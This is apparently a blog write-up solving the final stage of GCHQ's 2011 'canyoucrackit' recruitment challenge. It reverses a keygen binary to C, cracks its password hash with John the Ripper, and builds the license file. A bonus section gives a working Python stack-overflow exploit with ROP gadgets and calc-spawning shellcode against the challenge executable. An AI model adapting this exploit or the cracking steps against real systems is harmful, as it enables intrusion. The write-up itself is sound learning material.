GCHQ Challenge Part 3 : www.canyoucrackit.co.uk
As I have seen that many people already posted their solutions … I do not see the point of keeping mine :). Here it is.
Hello,
Here is the final part of the GCHQ recruitment compaign.
The challenge
We are offered an executable file (compiled under cygwin …) to analyze.
The “analysis”
The analysis was pretty straightforward. No protections (you can look with PEiD, etc).
Open it in ImmunityDBG or IDAPro or whatsoever and reverse the code. I won’t do a detailed analysis of the ASM code.
I basically reconstructed the C code (easier to explain no? :)):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <sys/socket.h>
#include <netdb.h>
#include <crypt.h>
#define SERVER_PORT 80
static const char crypted_password[] = "hqDTK7b8K2rvw";
int server_connect(char *hostname, uint32_t keys[]) {
int retcode;
char buffer[256] = {0};
// socket stuffs
int sockfd;
struct hostent *host;
struct sockaddr_in addr;
// recv stuffs
int recvBytes = 0;
host = gethostbyname(hostname);
if (host == 0) {
printf("error: gethostbyname() failed\n");
return -1;
}
// set up sockaddr
memcpy(&(addr.sin_addr), host->h_addr_list[0], host->h_length);
addr.sin_family = AF_INET;
addr.sin_port = htons(SERVER_PORT);
// open socket
sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
// connect to target
retcode = connect(sockfd, (struct sockaddr *) &addr, sizeof(addr));
if (retcode != 0) {
printf("error: connect(\"%s\") failed\n", hostname);
return -1;
}
// construct GET request
sprintf(buffer, "GET /%s/%x/%x/%x/key.txt HTTP/1.0\r\n\r\n", crypted_password, keys[0], keys[1], keys[2]);
printf("request:\n\n%s", buffer);
// send request
retcode = send(sockfd, buffer, strlen(buffer), 0);
if (retcode <= 0) {
printf("error: send() failed\n");
return -1;
}
// get response
printf("response:\n\n");
do {
memset(buffer, 0, sizeof(buffer));
recvBytes = recv(sockfd, buffer, sizeof(buffer) - 1, 0);
if (recvBytes > 0)
printf("%s", buffer);
} while (recvBytes > 0);
printf("\n");
return recvBytes;
}
int main (int argc, char *argv[]) {
FILE *fp;
char buffer[24] = {0};
uint32_t *ptr = (uint32_t *) buffer;
// license stuffs
int hasLicense;
char *crypted;
uint32_t keys[3] = {0};
hasLicense = 0;
printf("\nkeygen.exe\n\n");
// check args
if (argc != 2) {
printf("usage: keygen.exe hostname\n");
return -1;
}
// open license file
fp = fopen("license.txt", "r");
if (!fp) {
printf("error: license.txt not found\n");
return -1;
}
memset(buffer, 0, 24);
fscanf(fp, "%s", buffer);
fclose(fp);
// if buffer does not begin with gchq
// then bye
if (*ptr != 0x71686367) {
printf("error: license.txt invalid\n");
return -1;
}
// check for password
crypted = crypt(buffer + 4, crypted_password);
if (strcmp(crypted, crypted_password) == 0)
hasLicense = 1;
printf("loading stage1 license key(s)...\n");
keys[0] = *((uint32_t *)(buffer + 12));
printf("loading stage2 license key(s)...\n\n");
keys[1] = *((uint32_t *)(buffer + 16));
keys[2] = *((uint32_t *)(buffer + 20));
// if we don't have license
// then bye
if (hasLicense == 0) {
printf("error: license.txt invalid\n");
return -1;
}
return server_connect(argv[1], keys);
}
So basically, it search for a license.txt file with a specific file format which is as follow:
1
gchq | password | dword 0 | dword 1 | dword 2
In the ASM code you have this:
1
2
3
4
5
6
.text:00401120 loc_401120: ; CODE XREF: main+76 j
.text:00401120 mov [esp+78h+var_70], 18h
.text:00401128 mov [esp+78h+var_74], 0
.text:00401130 lea eax, [ebp+buffer]
.text:00401133 mov [esp+78h+var_78], eax
.text:00401136 call memset
We have the value 0x18 which is 24 in decimal ;). It basically mean that you have a 24 bytes buffer which receive “gchq”, the password and 3 dwords. From this we can deduce the password size: 24 - 4 - 12 = 8.
From there, we can set a jtr rule in the /etc/john/john.conf file:
1
2
3
4
5
6
# custom incremental mode
[Incremental:cyber]
File = $JOHN/alpha.chr
MinLen = 8
MaxLen = 8
CharCount = 26
We suppose the password is full alpha.
Then we have to format our hash using the standard unix format:
1
cyber:hqDTK7b8K2rvw:1:2:3:4:::
We bruteforce it like this:
1
$ john -i:cyber hash
If you’ve got rainbow tables or the word in your wordlist then you are lucky not to bruteforce like i had to.
It took me around 35 minutes to get the password:
1
2
3
4
$ john -show ./hash
cyber:cyberwin:1:2:3:4:::
1 password hash cracked, 0 left
About the dwords … where do we get them?
They give us tips:
1
2
loading stage1 license key(s)...
loading stage2 license key(s)...
So the dwords are in the first and second challenges. Remember that there are some dwords that we don’t use.
In the first challenge:
1
2
3
4
5
6
7
8
main:
jmp short begin
key0: dd 0xa3bfc2af
; let's make some space for our buffer!
begin:
sub esp, 0x100
In the second challenge:
1
firmware: [0xd2ab1f05, 0xda13f110]
Now ce can construct the license file using the following (don’t forget about little endian here if you are on x86 ;)):
1
$ printf "gchqcyberwin\xaf\xc2\xbf\xa3\x05\x1f\xab\xd2\x10\xf1\x13\xda" > license.txt
You can either compile the reversed version or use the given executable:
1
$ gcc -o reversed reversed.c -lcrypt
You will get this output:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$ ./reversed www.canyoucrackit.co.uk
keygen.exe
loading stage1 license key(s)...
loading stage2 license key(s)...
request:
GET /hqDTK7b8K2rvw/a3bfc2af/d2ab1f05/da13f110/key.txt HTTP/1.0
response:
HTTP/1.1 404 Not Found
Content-Type: text/html; charset=us-ascii
Server: Microsoft-HTTPAPI/2.0
Date: Mon, 05 Dec 2011 03:55:34 GMT
Connection: close
Content-Length: 315
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd">
<HTML><HEAD><TITLE>Not Found
<META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii">
<BODY><h2>Not Found</h2>
<hr><p>HTTP Error 404. The requested resource is not found.
</BODY></HTML>
If you look in your browser at the following address:
1
http://www.canyoucrackit.co.uk/hqDTK7b8K2rvw/a3bfc2af/d2ab1f05/da13f110/key.txt
You will get the keyword:
1
Pr0t3ct!on#cyber_security@12*12.2011+
Congratz
Done, you have a congratulation message (here):
If you click on the button:
You have the following links:
If you click on the Apply button:
And they wonder why they are lacking resources in reversers, hackers and alike … a pay between 25, 446 and 31, 152 pounds … Poor pay for rare skills and working for a government agency … not including the lies you are required to give out to your friends and so on.
Bonus Track
Oh yes, surprise, surprise, this challenge is vulnerable :).
If you reverse and read the code with care … you’d see that the fscanf() function is susceptible to an overflow ;).
1
fscanf(fp, "%s", buffer);
If you read the manual:
1
2
3
s Matches a sequence of non-white-space characters; the next pointer must be a pointer to character array that is long enough
to hold the input sequence and the terminating null character ('\0'), which is added automatically. The input string stops
at white space or at the maximum field width, whichever occurs first.
Yep, it doesn’t end at ‘\0’ ;). It basically end reading when you end the file or the size specification or whitespaces: “\x20\x09\x0d\x0c\x0b\x0a”.
So I coded an exploit spawning a calc. There is a limit as of the size of the payload, around 700-800 bytes which cause cygwin to have a deadlock in the fclose() call. I did not investigate further as how to bypass this restriction.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
#!/usr/bin/python3
''' Gadgets '''
# gadget(s) from cygwin-1.dll
# == stack related
# pushad | retn
pushad = b'\xbc\xce\x02\x61'
# pop eax | retn
pop_eax = b'\x94\xa4\x14\x61'
# pop ebx | retn
pop_ebx = b'\xe9\x0e\x03\x61'
# pop edi | retn
pop_edi = b'\x67\x15\x11\x61'
# pop esi | pop edi | pop ebp | retn
pop_sdb = b'\xef\x8e\x06\x61'
# == memory patch
# 0x6111459f : # MOV DWORD PTR DS:[EAX],ESI # MOV EAX,EDI # POP EBX # POP ESI # POP EDI # POP EBP # RETN
patch_at_eax = b'\x9f\x45\x11\x61'
# == stack pivots
# add esp, 8 | retn
add_esp8 = b'\x4a\xb8\x02\x61'
# == registry related
# 0x6113f7e3 : # MOV EDX,EAX # MOV EAX,EDX # RETN
mov_da = b'\xe3\xf7\x13\x61'
# 0x6113f7e5 : # MOV EAX,EDX # RETN
mov_ad = b'\xe5\xf7\x13\x61'
# xchg eax, ecx
xchg_ac = b'\x7b\x6f\x09\x61'
# xchg eax, edx
xchg_ad = b'\x5a\xf0\x09\x61'
# call eax
jmp_eax = b'\x9b\x9d\x13\x61' # 0x61139d9b
# gadget(s) from executable
# ret
ret = b'\x86\x10\x40\x00'
''' Exploit Section '''
junk1 = b'a' * 44
hasLicense = b'\x01\x00\x00\x00' # hasLicense
junk2 = b'b' * 12
# pop | retn
seip = b'\xa3\x14\x40\x00' # eip
sebp = b'\x00\x02\x40\x00' # ebp
# == rop chain: recover esp in eax
# pop esi # junk # junk # retn
prepare_regs = pop_sdb + b'\x90' * 4 + b'junk' * 2
# pop edi # pop ebp # retn
prepare_regs += pop_edi + pop_eax + pop_eax
# pop ebx
prepare_regs += pop_ebx + add_esp8
# pop eax
prepare_regs += pop_eax + jmp_eax
#
rop_get_eax = prepare_regs + pushad
# our whole rop chain, i did not include VirtualProtect payload btw
# it is equivalent to mov eax, esp | jmp eax
rop_chain = junk1 + hasLicense + junk2 + seip + sebp + rop_get_eax
# we have the following rop chain for prepare_regs
'''
| pop esi |
| 0x90 * 4 | esi
| junk |
| junk |
| pop edi |
| addr(jmp_eax) | edi
| addr(jmp_eax) | ebp
| pop ebx |
| addr(add_esp8) | ebx
| pop eax |
| addr(jmp_eax) | eax
'''
# we have the following stack after the pushad
'''
| pop eax | edi
| 0x90 * 4 | esi
| pop eax | ebp
| esp | esp
| add esp + 8 | ebx
| junk | edx
| junk | ecx
| jmp eax | eax
'''
# the registers after the execution of the constructed ropchain
'''
eax = esp
ebx = addr(add_esp8)
ecx = ecx
edx = edx
edi = addr(pop_eax)
esi = 0x90909090
ebp = addr(pop_eax)
esp = esp
'''
# now our payload
# our payload will be a calc here
calc = b'\xda\xd5\xd9\x74\x24\xf4\x5b\xba\xf3\x21\x03\x70\x31\xc9' \
+ b'\xb1\x33\x83\xeb\xfc\x31\x53\x13\x03\xa0\x32\xe1\x85\xba' \
+ b'\xdd\x6c\x65\x42\x1e\x0f\xef\xa7\x2f\x1d\x8b\xac\x02\x91' \
+ b'\xdf\xe0\xae\x5a\x8d\x10\x24\x2e\x1a\x17\x8d\x85\x7c\x16' \
+ b'\x0e\x28\x41\xf4\xcc\x2a\x3d\x06\x01\x8d\x7c\xc9\x54\xcc' \
+ b'\xb9\x37\x96\x9c\x12\x3c\x05\x31\x16\x00\x96\x30\xf8\x0f' \
+ b'\xa6\x4a\x7d\xcf\x53\xe1\x7c\x1f\xcb\x7e\x36\x87\x67\xd8' \
+ b'\xe7\xb6\xa4\x3a\xdb\xf1\xc1\x89\xaf\x00\x00\xc0\x50\x33' \
+ b'\x6c\x8f\x6e\xfc\x61\xd1\xb7\x3a\x9a\xa4\xc3\x39\x27\xbf' \
+ b'\x17\x40\xf3\x4a\x8a\xe2\x70\xec\x6e\x13\x54\x6b\xe4\x1f' \
+ b'\x11\xff\xa2\x03\xa4\x2c\xd9\x3f\x2d\xd3\x0e\xb6\x75\xf0' \
+ b'\x8a\x93\x2e\x99\x8b\x79\x80\xa6\xcc\x25\x7d\x03\x86\xc7' \
+ b'\x6a\x35\xc5\x8d\x6d\xb7\x73\xe8\x6e\xc7\x7b\x5a\x07\xf6' \
+ b'\xf0\x35\x50\x07\xd3\x72\xae\x4d\x7e\xd2\x27\x08\xea\x67' \
+ b'\x2a\xab\xc0\xab\x53\x28\xe1\x53\xa0\x30\x80\x56\xec\xf6' \
+ b'\x78\x2a\x7d\x93\x7e\x99\x7e\xb6\x1c\x7c\xed\x5a\xcd\x1b' \
+ b'\x95\xf9\x11';
egg = rop_chain + b'\x90' * 64 + calc
# write our sploit file :)
fp = open("license.txt", "wb")
fp.write(egg)
fp.close()
So as you can see this is a direct ret overwrite, it bypass the “hasLicense” but it fails to gethostbyname() because we overwrite the hostname ;).
For a security challenge … well it was not secure :).
Conclusion
The challenges were accessible by anyone with some programming knowledge and basic reversing skills.
I am not British so I did it for “fun” … but for those who applied for the job: they clearly are not searching for highly skilled reverser or programmers … just the average would do I think here. Otherwise they would have put more protections on the executables, etc.
I am quite disappointed for an entity such as GCHQ as the challenges were “phony” … It was more about searching in the right place than anything else … but well.
Anyway, I see no point in applying for such an offer:
- you can’t speak about your jobs (=> Official Secrets Act)
- you can’t speak about your colleagues (=> Official Secrets Act)
- you pay is too low
- you have more risks of being attacked/killed/retained as an hostage (=> in order to potentially attack and steal information from the UK Secret Service)
- if you quit GCHQ, you are stuck with a CV with a “blank” hole
- etc I might be wrong … but well I do not see any advantages.
Anyway, hope you had fun through this serie,
m_101